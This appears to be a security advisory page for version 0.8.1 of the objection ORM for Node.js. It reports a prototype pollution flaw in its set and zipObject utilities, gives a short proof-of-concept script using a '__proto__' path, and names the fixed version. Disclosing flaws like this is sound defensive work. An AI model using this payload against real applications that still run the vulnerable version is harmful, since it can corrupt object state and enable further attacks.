objection@0.8.1 vulnerabilities

An SQL-friendly ORM for Node.js

Direct Vulnerabilities

Known vulnerabilities in the objection package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

objection is an An SQL-friendly ORM for Node.js

Affected versions of this package are vulnerable to Prototype Pollution via set and zipObject functions in lib/utils/objectUtils.js.

PoC

var objectUtils = require("objection/lib/utils/objectUtils")
console.log("Before: " + {}.polluted)
let obj = {}
objectUtils.set(obj, ['__proto__', 'polluted'], 'Pollution successful!')
console.log("After: " + {}.polluted)

How to fix Prototype Pollution?

Upgrade objection to version 3.0.0-alpha.5 or higher.

<3.0.0-alpha.5